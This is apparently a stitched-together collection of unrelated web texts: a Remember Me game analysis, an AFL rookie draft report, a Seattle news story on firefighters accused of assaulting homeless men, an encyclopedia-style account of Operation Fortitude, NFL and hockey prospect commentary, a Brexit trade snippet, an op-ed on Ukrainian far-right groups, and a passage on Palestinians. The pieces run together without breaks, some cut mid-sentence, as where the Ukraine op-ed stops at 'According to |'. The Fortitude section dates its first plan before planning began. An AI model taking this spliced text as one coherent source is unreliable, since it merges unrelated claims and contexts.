"Oh. Yeah, that's a hair in the soup alright."WARNING: this analysis contains plot details, including spoilers for the end of the game.
As I mentioned a few weeks ago, I’ve been going back to older games recently, and one of those is Remember Me. Remember Me is set in Neo-Paris, allowing the developers to create a rich futuristic dystopia rooted in existing history. One of their most interesting choices is setting the majority of the game’s action inside a prison, in this case La Bastille. La Bastille is located where the original Bastille–a fortress later converted into a prison–once stood. Louis XIV imprisoned upper-class French citizens who opposed him in Bastille until it was stormed during the French Revolution.
The real Bastille was used to support the state in censoring printed media and controlling social norms. In Neo-Paris, La Bastille is where memory hunters are kept, leapers are created and controlled, and prisoners’ memories are stored. Instead of confiscating prisoners’ belongings as they’re processed, Madame and Dr. Quaid wipe prisoners’ memories to keep them complacent and take the memories for themselves, implanting Quaid’s memories in exchange.
The prison uses a panopticon structure, which the French philosopher Foucault uses in his theories about disciplinary/authoritarian societies. A panopticon is a tower that allows a guard to see all the cells in a prison, but does not allow prisoners to see whether the guard is there or not. Foucault used the physical structure as an analogy for the mutual enforcement of social norms even when we can’t know whether someone is ‘watching.’
In the game, the use of Sensen technology and the commodification of memory is commonly accepted by citizens. No person owns their own experiences, and all people are watched by robots, security cameras, and other surveillance technology. Madame, governor of La Bastille, watches over the prison from the central tower and protects the memory servers until Nilin defeats her.
In Episode 4: Panoptic Icon, Nilin pursues Madame. In order to locate her, Nilin enters the prison through the sewers and confronts Sergeant Vaughn–the Sergeant of La Bastille S.A.B.R.E. Force–to obtain the schematics. This episode is brimming with platforming, combat, and collectibles, but it also does some pretty interesting things symbolically. As the child of the memory-control empire who doesn’t remember her own history, Nilin stands in for each of us who is born into society and inherits its norms.
Rarely are we forced to question where these beliefs come from, but in order to succeed Nilin has to. She has to look at the inner-workings of this prison and to engage with both the guards and Madame herself. In the panopticon of La Bastille, Madame represents not just policemen and prison wardens, but also our teachers, relatives, and even our own inner voices who hold us to social norms and punish us when we stray from them.
What elevates this symbolism is the fact that it is the shared pain and memories of society that starts Nillin on this path. Edge, the persona created by the central memory server AI H3O, urges Nilin to explore, subvert, and eventually destroy the system Memorize (and her own family) has created. The soul of humanity itself asks the player to question our own beliefs, to see how even well-intentioned efforts to eradicate sadness can become commercialized and oppressive.
I was drawn to both of Dontnod Entertainment’s currently released games, Life is Strange and Remember Me, without realizing they were made by the same studio, in part because of their use of symbolism and social commentary. Their games are nuanced and it’s clear the developers are fellow television, film, and game lovers, as evidenced by the abundance of allusions in each of their IPs.
More importantly, they never spell it out for you, because Dontnod trusts players to handle depth and complexity. That is such a rare thing in pop culture, and it’s something I really appreciate. I can’t wait to see what else comes out of their studio. What do you guys think of Remember Me? Are you excited for Vampyr and episode 5 of Life is Strange? Let me know in the comments!
AdvertisementsJosh Glenn runs in the beep test during day 3 of the 2014 NAB AFL Draft Combine at Etihad Stadium, Melbourne on October 02, 2014. (Photo: Darrian Traynor/AFL Media)
Gold Coast wanted maturity and that's exactly what they got at the NAB AFL Rookie Draft on Wednesday.
Aside from nabbing veterans Greg Broughton and Andrew Raines as expected, the SUNS added four players with senior experience.
South Australians Josh Glenn and Keegan Brooksby, along with Coburg's Adam Saad and Bendigo's Tyrone Downie, will all make their way to Metricon Stadium.
Gold Coast's football department review at the end of the 2014 season highlighted a serious need for more experience, not only to help its senior team, but to bolster the winless NEAFL team.
Broughton was an unlucky delisting as the SUNS needed to cull their list from 40 to 38 – in line with the rest of the AFL - but the club was always desperate to keep him after two strong seasons.
Raines has played 123 games with Richmond and the Brisbane Lions, is the ultimate professional and a great fit.
"We've got a nice blend we think," list manager Scott Clayton said.
"We wanted to take some mature-agers that can push for senior games if the opportunity arises, but can also steel up our NEAFL operation."
Selection No. 7 – Josh Glenn (Central Districts)
Clayton says: "We considered him strongly in the national draft. We think Josh can be a real inside-outside midfielder. He's a bit older, 20, a really good kick, carries the ball, can win it in middle and then go forward. He's flexible and just the sort of player we like."
Selection No. 25 – Adam Saad (Coburg)
Clayton says: "Lightning quick and a penetrating kick, he'll give us a bit of run out of defence, but maybe some forward impact as well. He can play on a man, but he can carry the ball and hurt the opposition."
Selection No. 42 – Keegan Brooksby (South Adelaide)
Clayton says: "A mature-age ruckman, he's 24 and won South Adelaide's best and fairest. In another life he turned down a basketball scholarship in America, so he's athletic. He comes from a good footy family, his father Phil played 278 games for South Adelaide at full-back. Keegan's a real competitive inside ruckman."
Selection No.59 – Tyrone Downie (Bendigo Gold)
Clayton says: "He's 182cm, but Tyrone plays forward and is a brilliant mark for his size. He's also done some coaching in his time and at 26, we think he can bring some real on-field leadership. He's the perfect mix for us."
Selection No.67 – Greg Broughton (Gold Coast)
Clayton says: "He's part of our family now. It was tough having him go off the list, but he was just out of contract at the wrong time. He'll be our nominated rookie (to be elevated to the senior list) and he's in. We always said we'd come to an arrangement. Greg really wants to end up on the Gold Coast, he likes it here and wants to be here. He's been terrific for us."
Selection No.71 – Andrew Raines (Brisbane Lions)
Clayton says: "He's a manic trainer and very experienced. He's versatile and we've seen him play those run-with roles. He's got a great reputation and is a high quality young man. He's happy to help teach, but will also push for senior selection if he gets the chance."0 Two Seattle firefighters, woman accused in attack on homeless man
SEATTLE - Francis Hicks said two men and a woman he did not know inexplicably went after him and another homeless man as they rested on the firefighters memorial to the fallen in Pioneer Square's Occidental Park.
"I went to talk to him and he swing at me. He went there and kicked him right in the face," said Hicks. "And then his wife grabbed the food and threw it all over him."
Hicks said he tried to talk to them but they hit him in the face, too.
"And he started calling everybody 'F, everybody get out of the park,'" said Hicks, who has bruises underneath both his eyes. "'I don't want to see your face, get out.' And he don't like nobody.”
Their assailants were off-duty Seattle firefighters Robert Howell and Scott Bullene. Sources tell KIRO 7 the woman, 37-year-old Mia Jarvinen, is Bullene's girlfriend. The attack happened as the Seattle Sounders game was emptying out last night.
Seattle police said all three were intoxicated.
"It was a horrible," said Ashton Cruz, another eyewitness.
Cruz said the first man they went after was 'Sarge,' a disabled veteran, who hobbled on one leg and a walking stick.
"Well, this other gentleman used it as an assault weapon to hit this other gentleman with," said Cruz.
The attack was made worse, Cruz said, because the firefighters seemed to take aim at the homeless.
"If you were to be assaulted by someone who's supposed to protect and serve you, you're not going to have the same feelings for those people," Cruz said, angrily. "It was ridiculous."
Seattle police said the veteran stabbed Bullene in self-defense. Bullene was taken to Harborview Medical Center.
Howell, a Seattle firefighter since 1997, had been on disability since Jan. 9.
Bullene was hired by the department in 1999. He last worked March 13.
Jarvinen is a senior auditor at Amazon.com.
Jarvinen and Bullene are also suspects in a 2012 road rage incident in which one of them claimed to have a gun.
Now Seattle police say all three face assault charges.This article is about the World War II deception. For the Australian immigration checking operation, see Australian Border Force § Operation Fortitude
Operation Fortitude was the code name for a World War II military deception employed by the Allied nations as part of an overall deception strategy (code named Bodyguard) during the build-up to the 1944 Normandy landings. Fortitude was divided into two sub-plans, North and South, with the aim of misleading the German high command as to the location of the invasion.
Both Fortitude plans involved the creation of phantom field armies (based in Edinburgh and the south of England) which threatened Norway (Fortitude North) and Pas de Calais (Fortitude South). The operation was intended to divert Axis attention away from Normandy and, after the invasion on 6 June 1944, to delay reinforcement by convincing the Germans that the landings were purely a diversionary attack.
Background [ edit ]
Fortitude was one of the major elements of Operation Bodyguard, the overall Allied deception stratagem for the Normandy landings. Bodyguard's principal objective was to ensure the Germans would not increase troop presence in Normandy by promoting the appearance that the Allied forces would attack in other locations. After the invasion (on 6 June 1944) the plan was to delay movement of German reserves to the Normandy beachhead and prevent a potentially disastrous counter-attack. Fortitude's objectives were to promote alternative targets of Norway and Calais.[1][2]
The planning of Operation Fortitude came under the auspices of the London Controlling Section (LCS), a secret body set up to manage Allied deception strategy during the war. However, the execution of each plan fell to the various theatre commanders, in the case of Fortitude this was Supreme Headquarters Allied Expeditionary Force (SHAEF) under General Dwight D. Eisenhower. A special section, Ops (B), was established at SHAEF to handle the operation (and all of the theatre's deception warfare). The LCS retained responsibility for what was called "Special Means"; the use of diplomatic channels and double-agents.[2]
Fortitude was split into two parts, North and South, both with similar aims. Fortitude North was intended to convince the German high command that the Allies, staging out of Scotland, would attempt an invasion of occupied Norway. Fortitude South employed the same tactic, with the apparent objective being Pas de Calais.[1]
Planning [ edit ]
Fortitude planning was ostensibly the responsibility of Noel Wild and his Ops (B) staff. However, in practice the work was shared between Wild and the heads of the LCS and B1a. Work began in December 1943, at first under the codename Mespot. Prime Minister Winston Churchill judged this unsuitable and so the Fortitude name was adopted on February 18.[note 1][3]
Fortitude South [ edit ]
Wild's first version of the Fortitude South plan was produced in early January 1943 and aimed to counter the likelihood that the Germans would notice invasion preparations in the South of England.[4] The intention was to create the impression that an invasion was aimed at the Pas de Calais some time in mid-July; once the real invasion had landed, six fictional divisions would keep this threat to Calais alive.[5] The Fortitude South plan would be implemented, at an operational level, by the invasion force—the 21st Army Group under the command of General Bernard Montgomery.[3]
This presented a problem, in the form of Colonel David Strangeways, head of Montgomery's R Force deception staff.[3] Strangeways had, in the opinion of Ops(B)'s Christopher Harmer, the same arrogance as his commanding officer. More important, he held a low opinion of the London establishment of the "old boys" clubs of Ops (B) and LCS. Dissatisfied with the Fortitude South outline he, in the words of Harmer, set out to ride "roughshod over the established deception organization".[5] Strangeways' criticisms highlighted that the plan aimed to cover the Allies' real intentions, rather than create a realistic threat to Calais[further explanation needed].[5][6] This was not the only issue, and Strangeways was not the only one to notice them[clarification needed]. If the Germans were able to judge the Allied state of readiness in southwest England then they would be expecting an invasion in early June[why?], which left several weeks to defeat any bridgehead and turn to the defence of Calais.[6]
Dummy landing craft
On 25 January Montgomery's Chief of Staff Francis de Guingand sent a letter to the deception planners asking them, amongst other things, to focus on Pas de Calais as the main assault. It was almost certainly sent at the behest of Strangeways.[7] With these criticisms in hand, Wild produced his final draft for Fortitude South. In this revised plan, issued on 30 January and approved by the Allied chiefs on 18 February, fifty divisions would be positioned in Southern England to attack Pas de Calais.[5][7] After the real invasion had landed the story would change, suggesting to the Germans that several assault divisions remained in England ready to conduct a cross-channel attack once the Normandy beachhead had drawn German defences away from Calais. The plan still retained some of its earlier form, most notably that the first part of the story still aimed to suggest an invasion date of mid-July.[8] Strangeways was still unimpressed. He pointed out that convincing the Germans of so many fictional divisions would be tough, and even harder would be convincing them of Montgomery's ability to manage two entire invasions at the same time.[9] Wild's plan outlined ten divisions for the Calais assault, six of them fictional and the remainder being the real American V Corps and British I Corps. However, these corps would be part of the actual Normandy invasion and so it would be difficult to imply Calais being the main assault following D-Day.[10] Strangeways' final concerns related to the effort required for physical deception, as the plan called for large numbers of troop movements and dummy craft.[9]
I rewrote it entirely. It was too complicated, and the people who made it had not never done it before. Now they did their best - but it didn't suit the operation that Monty was considering... You see so much depended on the success of that deception plan. Strangeways, writing in 1996[11]
Strangeways' objections were so strong that he refused to undertake most of the physical deception. A power struggle ensued, throughout February and early March, between Ops(B) and Strangeways as to who had authority to implement each part of the deception plan. Montgomery put his full support behind his head of deception, and so Strangeways prevailed.[12][13] Finally, in a 23 February meeting between R Force and Ops(B), Strangeways tore up a copy of the plan, decreeing it useless, and announced that he would rewrite it from scratch.[9]
The established deceivers were dubious about Strangeways' announcement, assuming he would re-submit the existing plan with some modifications.[13] However, he duly submitted a re-written operation which was met, in Harmers words, with "astonishment".[11]
Strangeways' revised Fortitude South invented an entire new field army. The First United States Army Group (FUSAG) was a skeleton formation formed for administrative purposes, but never used. However, the Germans had discovered its existence through radio intercepts. Strangeways proposed activating the unit, with a series of fictional and real formations, to overcome the problem of Montgomery handling two invasions.[13] Moreover, he proposed that FUSAG should represent the main Allied threat to the Germans, which they would expect to land around Calais. Once Operation Neptune landings had taken place, this should be passed off as a diversion to distract German defences from the main attack by FUSAG.[14]
The new Fortitude South came with six subsidiary plans, Quicksilver I-VI, with specific implementation details.[14]
Special means [ edit ]
For deceptions the Allies had developed a number of methodologies, referred to as "special means". They included combinations of physical deception, fake wireless activity, leaks through diplomatic channels, and double agents. Fortitude used all of these techniques to various extents. For example, Fortitude North relied heavily on wireless transmission (the Allies thought that Scotland was too far for German reconnaissance to reach) while Fortitude South utilised the Allies network of double agents.
Physical deception: to mislead the enemy with nonexistent units through fake infrastructure and equipment, such as dummy landing craft, dummy airfields, and decoy lighting. Controlled leaks of information through diplomatic channels, which might be passed on via neutral countries to the Germans. Wireless traffic: To mislead the enemy, wireless traffic was created to simulate actual units. Use of German agents controlled by the Allies through the Double Cross System to send false information to the German intelligence services. Public presence of notable staff associated with phantom groups such as FUSAG, most notably the well-known US general George S. Patton.
Double agents [ edit ]
One of the main deception channels for the Allies was the use of double agents. B1A (the Counter-Intelligence Division of MI5) had done a good job intercepting all of the German agents in Britain. Many of these were recruited as double agents under the Double Cross System. The three most important double agents during the Fortitude operation were:
Juan Pujol García (Garbo), a Spanish citizen who managed to get recruited by German intelligence, and sent them abundant but convincing disinformation from Lisbon, until the Allies accepted his offer and he was employed by the British. He created a network of 27 imaginary sub-agents by the time of Fortitude, and the Germans unwittingly paid the British Exchequer large amounts of money regularly, thinking they were funding a network loyal to themselves. He was awarded both the Iron Cross by the Germans and an MBE by the British after D-Day.
Roman Czerniawski (Brutus), a Polish officer who ran an intelligence network for the Allies in occupied France. Captured by the Germans, he was offered a chance to work for them as a spy. On his arrival in Britain, he turned himself in to British intelligence.
Dusan Popov (Tricycle), a Yugoslav lawyer.
Fortitude North [ edit ]
Fortitude North was designed to mislead the Germans into expecting an invasion of Norway. By threatening any weakened Norwegian defence the Allies hoped to prevent or delay reinforcement of France following the Normandy invasion. The plan involved simulating a buildup of forces in northern England and political contact with Sweden.[15]
During a similar operation in 1943, Operation Cockade, a fictional field army (British Fourth Army) had been created, headquartered in Edinburgh Castle.[16] It was decided to continue to use the same force during Fortitude. Unlike its Southern counterpart the deception relied primarily on "Special Means" and fake radio traffic, since it was judged unlikely that German reconnaissance planes could reach Scotland unintercepted.[15][17] False information about the arrival of troops in the area were reported by double agents Mutt and Jeff, who had surrendered following their 1941 landing in the Moray Firth, while the British media cooperated by broadcasting fake information, such as football scores or wedding announcements, to nonexistent troops.[17]:464–466 Fortitude North was so successful that by late spring 1944, Hitler had thirteen army divisions in Norway.[18]
In the early spring of 1944, British commandos attacked targets in Norway to simulate preparations for invasion. They destroyed industrial targets, such as shipping and power infrastructure, as well as military outposts. This coincided with an increase in naval activity in the northern seas, and political pressure on neutral Sweden.[17]:466–467
Operation Skye [ edit ]
Operation Skye was the code name for the radio deception component of Fortitude North, involving simulated radio traffic between fictional army units. The programme began on 22 March 1944, overseen by Colonel R. M. McLeod, and became fully operational by 6 April.[17] The operation was split into four sections, relating to different divisions of the Fourth Army:
Skye I; Fourth Army headquarters
Skye II; British II Corps
Skye III; American XV Corps (a genuine formation, but with fictional units added to its order of battle)
Skye IV; British VII Corps.
In his 2000 book, Fortitude: The D-Day Deception Campaign, Roger Fleetwood-Hesketh, who was a member of Ops (B), concluded that "No evidence has so far been found to show that wireless deception or visual misdirection made any contribution to Fortitude North". It is thought that the Germans were not in fact monitoring the radio traffic being simulated.[19]
Fortitude South [ edit ]
Fortitude South employed similar deception in the south of England, threatening an invasion at Pas de Calais by the fictional 1st U.S. Army Group (FUSAG). France was the crux of the Bodyguard plan; as the most logical choice for an invasion, the Allied high command had to mislead the German defences in a very small geographical area. The Pas de Calais offered a number of advantages over the chosen invasion site, such as the shortest crossing of the English Channel and the quickest route into Germany. As a result, German command, particularly Rommel, took steps to heavily fortify that area of coastline. The Allies decided to amplify this belief of a Calais landing.[20]
Montgomery, commanding the Allied landing forces, knew that the crucial aspect of any invasion was the ability to enlarge a beachhead into a full front. He also had only limited divisions at his command, 37 compared to around 60 German formations. Fortitude South's main aims were to give the impression of a much larger invasion force (the FUSAG) in the South-East of England, to achieve tactical surprise in the Normandy landings and, once the invasion had occurred, to mislead the Germans into thinking it a diversionary tactic with Calais the real objective.[20]
Operation Quicksilver [ edit ]
Symbol of the fictional 1st U.S. Army Group
The key element of Fortitude South was Operation Quicksilver. It entailed the creation of the belief in German minds that the Allied force consisted of two army groups, 21st Army Group under Montgomery (the genuine Normandy invasion force), and 1st U.S. Army Group (FUSAG) (a fictitious force under General George Patton), positioned in southeastern England for a crossing at the Pas de Calais.
At no point were the Germans fed false documents describing the invasion plans. Instead they were allowed to construct a misleading order of battle for the Allied forces. To mount a massive invasion of Europe from England, military planners had little choice but to stage units around the country with those that would land first nearest to the embarkation point. As a result of FUSAG's having been placed in the south-east, German intelligence would (and did) deduce that the centre of the invasion force was opposite Calais, the point on the French coast closest to England and therefore a likely landing point.
To facilitate this deception, additional buildings were constructed; dummy aircraft and landing craft were placed around possible embarkation points. Patton paid many of these a visit along with a photographer. Contrary to popular belief, there was no use of other dummy vehicles, such as inflatable tanks, in large part due to Strangeways' refusal to implement widespread physical deception.[12][21] It is thought that the Army encouraged the idea that these dummies were used to draw attention away from some of the other means of deception, such as turned agents.[21] In any case, the Allies overestimated the Germans' abilities to conduct aerial surveillance, so many of the props were never constructed. Patton was photographed visiting the props that were mocked up on regular occasions.
A deception of such a size required input from many organisations, including MI5, MI6, SHAEF via Ops B, and the armed services. Information from the various deception agencies was organized by and channelled through the London Controlling Section under the direction of Lieutenant-Colonel John Bevan.
Fortitude South II [ edit ]
On 20 July Ops (B) took over control of Fortitude South from R Force. Earlier in the previous month, they had begun work on a follow up to the operation.[22] Their new story centered on the idea that Eisenhower had decided to defeat the Germans through the existing beachhead. As a result, elements of FUSAG had been detached and sent to reinforce Normandy and instead a second, smaller, Second American Army Group (SUSAG) would be formed to threaten the Pas-de-Calais.[23]
The plan met some criticism; first of all, there was opposition to the creation of so many fictional US formations in the face of a known manpower shortage in America. Secondly, the plan reduced the threat to Pas-de-Calais and so the Fifteenth Army might be moved to reinforce Normandy. As with its predecessor, in late June Strangeways re-wrote the operation to ensure the focus remained on Calais.[23] In his version, the Normandy beachhead was not as successful, and Eisenhower had taken elements of FUSAG to reinforce its efforts. FUSAG would be rebuilt with newly arrived US formations with the aim of landing in France toward the end of July.[24]
Impact [ edit ]
By 28 September 1944 the Allies had agreed to end the Fortitude deception, moving to operational deceptions in the field under the overall charge of Ops (B).[25]
The Allies were able to judge how well Fortitude was working thanks to Ultra, signals intelligence obtained by breaking German codes and ciphers. On June 1st a decrypted transmission by Hiroshi Ōshima (the Japanese ambassador) to his government recounting a recent conversation with Hitler confirmed the effectiveness of Fortitude. When asked for his thoughts on the Allied battle plan, Hitler had said, "I think that diversionary actions will take place in a number of places - against Norway, Denmark, the southern part of western France, and the French Mediterranean coast",[26] adding that he expected the Allies to subsequently attack in force across the Straits of Dover.[26]
They maintained the pretense of FUSAG and other forces threatening Pas de Calais for some considerable time after D-Day, possibly even as late as September 1944. This was vital to the success of the Allied plan, since it forced the Germans to keep most of their reserves bottled up waiting for an attack on Calais that never came, thereby allowing the Allies to maintain and build upon their marginal foothold in Normandy.
During the course of Fortitude, the almost complete lack of German aerial reconnaissance, together with the absence of uncontrolled German agents in Britain, came to make physical deception almost irrelevant. The unreliability of the "diplomatic leaks" resulted in their discontinuance. The majority of deception was carried out by means of false wireless traffic and through German double agents. The latter proved to be by far the most significant.
Reasons for success [ edit ]
The operation was successful for several reasons:
The long term view taken by British Intelligence to cultivate double agents as channels of disinformation to the enemy.
The use of Ultra decrypts of machine-encrypted messages between the Abwehr and the German High Command, which quickly indicated the effectiveness of deception tactics. This is one of the early uses of a closed-loop deception system. The messages were usually encrypted by Fish rather than Enigma machines.
R.V. Jones, the Assistant Director Intelligence (Science) at the British Air Ministry insisted for reasons of tactical deception that for every radar station attacked within the real invasion area, two were to be attacked outside it.
The extensive nature of the German Intelligence machinery, and the rivalry amid the various elements.
General George S. Patton was the leader the Germans feared the most, and they considered him the Allies' best general.[27] Therefore, the German High Command believed he would lead the attack.
In fiction [ edit ]
Notes [ edit ]
^ SHAEF was offered a list of names to choose from; Bulldog, Axehead, Swordhilt, Fortitude and Ignite
References [ edit ]
a b Jablonsky 1991 a b Brown 1975, pp. 1–10 a b c Levine (2011), p. 202 ^ Holt (2004), p. 531 a b c d Levine (2011), pp. 203–204 a b Holt (2004), p. 532 a b Holt (2004), p. 533 ^ Holt (2004), p. 534 a b c Levine (2011), pp. 205–206 ^ Holt (2004), p. 535 a b Levine (2011), p. 208 a b Holt (2004), pp. 536–37 a b c Levine (2011), p. 206 a b Levine (2011), p. 207 a b Sexton 1983, p. 112 ^ Holt 2004, p. 486 a b c d Cave Brown 1975 ^ Ambrose, Stephen, D-Day June 6th, 1944 (New York: Simon & Schuster, 1994) p. 82 ^ Hesketh, p. 167 a b Latimer 2001, pp. 218–232 a b Gawne (2002), p. ^ Holt (2004), p. 584 a b Holt (2004), p. 585 ^ Holt (2004), p. 586 ^ Holt (2004), p. 630 a b Holt 2004, pp. 565–566 ^ Beevor (2012), p. 571
Bibliography [ edit ]Odell Beckham might be an enigma to the Giants right now, but new teammate Brandon Marshall seems to get it.
"I have spoken to him, and I guess my message to him is just keep being awesome. Keep rockin' out," Marshall told TMZ.com.
He added: "He's the biggest superstar our game has ever seen in the history of football. I'm happy to be his teammate lined up on the other side. Go double coverage him. Send all the coverage to him and I'll be backside, me and [Sterling Shepard] 1-on-1, and we'll be happy."
On the practical side, Marshall said he knows nothing about a new contract for the young megastar -- possibly the reason Beckham has decided not to make an appearance at voluntary organized team activities.
For the sake of everyone's blood pressure and mental health, it's crucial not to dive too deeply into his comment about Beckham being the biggest superstar our game has ever seen in the history of football. I urge everyone to watch the video, take in some context and realize this was a breezy moment between Marshall and a camera person while Marshall was on his way to do something else.
Perhaps the Giants were hoping that Marshall could be the mentor Beckham needed. While Victor Cruz was in the building, he only played alongside Beckham for one season before the Giants let him go. If that's the case, not dogging Beckham in the media for missing voluntary offseason training activities is probably the right move. Beckham has enough people on television telling him what he should and shouldn't be doing.
If Beckham "keeps being awesome," as Marshall says, no one will remember his non-controversy anyway.Canada, home of the Royal Mounted Police, has suggested that it would not seek extra trade concessions Reuters
Canada wants to secure a free trade agreement that takes effect the day after Brexit, using its deal with the European Union as a template.
The assurance from the country’s ambassador to London is a boon for Liam Fox’s international trade department, which is seeking to replicate 39 EU trade agreements with more than 50 countries. All of those will require at least some renegotiation and trade lawyers had warned that some countries would try to extract extra concessions in view of Britain having less negotiating leverage than the EU.
Janice Charette, Canada’s high commissioner in London, said: “We will be interested in positioning Canada such that the day after Brexit the same preferential access is in place as the day before.”
Dr Fox had…Members of the Azov Battalion and supporters from various right-wing movements shout slogans during a protest in front of parliament in Kiev, Ukraine, in May 2016. (Sergey Dolzhenko/European Pressphoto Agency)
Josh Cohen is a former U.S. Agency for International Development project officer involved in managing economic reform projects in the former Soviet Union.
As Ukraine’s fight against Russian-supported separatists continues, Kiev faces another threat to its long-term sovereignty: powerful right-wing ultranationalist groups. These groups are not shy about using violence to achieve their goals, which are certainly at odds with the tolerant Western-oriented democracy Kiev ostensibly seeks to become.
The recent brutal stabbing of a left-wing anti-war activist named Stas Serhiyenko illustrates the threat posed by these extremists. Serhiyenko and his fellow activists believe the perpetrators belonged to the neo-Nazi group C14 (whose name comes from a 14-word phrase used by white supremacists). The attack took place on the anniversary of Hitler’s birthday, and C14’s leader published a statement that celebrated Serhiyenko’s stabbing immediately afterward.
The attack on Serhiyenko is just the tip of the iceberg. More recently C14 beat up a socialist politician while other ultranationalist thugs stormed the Lviv and Kiev City Councils. Far-right and neo-Nazi groups have also assaulted or disrupted art exhibitions, anti-fascist demonstrations, a “Ukrainians Choose Peace” event, LGBT events, a social center, media organizations, court proceedings and a Victory Day march celebrating the anniversary of the end of World War II.
According to |
is probably the biggest deciding factor. Compared to Stefan Fournier and Jack Nevins, he has more upside (two players with likely fourth line upside versus a player with potential to be a decent third line player).
28) Mark MacMillan
Drafted: 113th, 4th, 2010
C/LW | 6’00” 183 | University of North Dakota (NCAA)
Stats: 38GP 10G 16A 26P
After being stuck behind the likes of Brock Nelson, Danny Kristo, and Corban Knight, it appeared MacMillan would finally become one of the go-to guys this past season. Unfortunately, that simply didn’t happen, at least not to begin the season. MacMillan suffered a lower-body injury and struggled until the New Year, where he racked up 21 of his 26 points in his final 24 games. He rotated quite a bit between left wing and centre, typically finding himself on the second line.
First and foremost, MacMillan is a speedster. He owns excellent top speed and a first few steps that most players dream about. He’s not the shiftiest player, but he can blow by defenders and loves to cut wide and drive the net.
MacMillan uses his skating ability to become a strong two-way player. He takes unique, but effective routes on the backcheck, allowing to him to consistently break up plays. He’s a top penalty killer in his conference, and has been since his freshman year, largely thanks to his speed. He makes consistently good reads. He additionally plays a hard-nosed game. He’s not the biggest player on the ice, but he often plays like it, hitting everything that moves and winning puck battles.
Beyond his speed, MacMillan has a solid arsenal of offensive tools. MacMillan’s primarily a playmaker off the rush, as he’s able to connect passes of high difficultly. He also owns a plus set of hands, but he’s not overly fancy and prefers to use them to protect the puck, rather than dangle. Around the net is where he scores most of his goals. Redirections, garbage goals, and quick snapshots are the main weapons in his goal-scoring arsenal. His wrist shot has a deceptive release, but both the power and accuracy need work.
MacMillan desperately needs to fill out. At the collegiate level he often gets outmuscled. Considering his intense, gritty style of game, he must continue to add strength and mass to his frame. Offensively, he doesn’t consistently show high-end awareness and typically falls back into the role of being a complementary player.
Ranking Explanation: MacMillan has yet to be the focal point on his NCAA team, but he’s had fairly solid production. The offensive consistency just hasn’t been there to rank him above players like Daniel Audette and Patrick Holland (who both have equal, if not better offensive tool kits). MacMillan’s a superior skater and two-way player than Evans. When factoring in MacMillan’s better track record and more consistent, gritty game, he appears to have every bit as much upside as Evans and seems more likely to play in the NHL.
27) Hayden Hawkey
Drafted: 177th, 6th, 2014
G | 6’02″ 174 | Omaha Lancers (USHL)
Regular Season: 33GP 22-6-3,.926 SV%, 1.99 GAA
The 2013-2014 USHL Goaltender of the Year was selected as a second-time eligible. Hawkey sports a fantastic name and is clearly a fantastic goaltender. After spending last season with the Colorado Thunderbirds U18 of the MWEHL, Hawkey burst on to the USHL scene.
First and foremost, Hawkey is a tremendous athlete. He’s extremely athletic and owns fantastic lateral movement. He pushes off the posts quickly. He’s calm and poised in the net. Omaha was a solid defensive team, but Hawkey certainly had to stand on his head from time to time. He had USHL’s best GAA, SV% and was on the First All-Star Team.
Hawkey owns a quick glove hand, but needs to improve his blocker side. However, Hawkey’s best ability is his play down low. He’s lightning quick, shuts the five hole in a hurry, and owns top-notch reactions. Additionally, Hawkey has fairly good rebound control, but could stand to improve it.
Hawkey is committed to Providence University for the 2015-2016 season. He might not get much action though, as Jon Gillies has to yet to sign a contract with the Calgary Flames. Gillies is one of the NCAA’s top goaltenders and would essentially be a lock to start for Providence if he return for his senior year. Next season, Hawkey appears as though he will return to Omaha and remain the team’s starting goaltender.
Ranking Explanation: Hawkey was one of the most difficult prospects to rank on this list. Not only is there a crazy inconsistency among projecting goaltenders, but Hawkey was drafted a second-year eligible. Hawkey’s year was absolutely fantastic–no doubt about it. He posted one of the best seasons out of all the prospects in the organization. His good size and fantastic athletic ability get him a spot on this list. However, he’s not as proven as other goaltenders, like Zach Fucale and Dustin Tokarski. Another year like the one he just posted and he could sky-rocket up the list.
26) Morgan Ellis
Drafted: 117th, 4th, 2010
D | 6’01” 204 | Hamilton Bulldogs (AHL)
Regular Season: 59GP 3G 7A 10P
After a highly disappointing rookie year in the AHL, Ellis slowly began to find his way this season. Ellis still has yet to show the ability that he did in his final year of junior, both offensively and defensively. Over the course of the year, Ellis went from a healthy scratch to a staple defencemen. Despite some slip ups, Ellis played fairly good hockey.
Ellis is a stay-at-home defender. He makes good reads in his own zone, especially in sustained pressure scenarios. He clears the puck effectively and can connect with a solid outlet pass. He’s fairly aggressive along the boards and around the goal. He possesses an active stick, which he uses to break up plays quickly turn the play around.
It hasn’t translated to the AHL yet, but Ellis owns a rocket of a slapshot. It’s hard and accurate. He generates most of his offence with blasts from the point and has shown noticeable improvement in his ability to get pucks on net. He makes safe plays in regards to pinching, and in some circumstances, actually plays it too safe.
Simply put, Ellis looks too slow in the AHL. He owns clumsy feet and struggles mightily against speedy forwards. Additionally, his decision-making clearly isn’t up to par. He makes poor decisions under pressure and struggles to defend off the rush. He also has to be a tougher player to play against, as he often leaves players unharmed despite occupying scoring areas. It’s clear there are abilities there, but as of now, Ellis has shown very little at the professional level.
Ranking Explanation: It hasn’t been a pretty transition to professional hockey for Ellis. However, it’s clear there’s still lots to work with. Ellis possesses a good skill set that could make him a decent bottom-pairing option. Ellis has quite a bit of untapped offensive potential, considerably more than Josiah Didier. That offensive potential, along with his smarts and size also give him the edge over those below him.
Check back soon for prospects #25-21!Today, there are many candidates for the position of “universal individual,” the particular group whose fate stands for the injustice of today’s world: Palestinians, Guantanamo prisoners... Palestine is the site of a potential event precisely because all the standard ‘pragmatic’ solutions to the Middle East crisis repeatedly fail, so that a utopian invention of a new space is the only ‘realistic’ choice. Furthermore, Palestinians are a good candidate on account of their paradoxical position of being the victims of the Ultimate Victims themselves (Jews), which, of course, puts them in an extremely difficult spot: when they resist, their resistance can immediately be denounced as a prolongation of anti-Semitism, as a secret solidarity with the Nazi Final Solution.
Indeed, if – as Lacanian Zionists like to claim – Jews are the objet petit a among nations, the troubling excess of Western history, how can one resist them with impunity? Is it possible to be the objet a of objet a itself? It is precisely this ethical blackmail that one should reject.
